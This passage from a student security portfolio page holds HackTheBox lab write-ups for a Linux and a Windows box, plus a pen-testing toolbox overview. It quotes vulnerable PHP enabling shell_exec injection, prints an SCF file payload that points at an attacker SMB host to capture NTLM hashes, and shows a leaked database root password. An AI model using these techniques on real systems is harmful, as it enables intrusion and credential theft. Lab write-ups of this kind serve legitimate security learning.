if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart 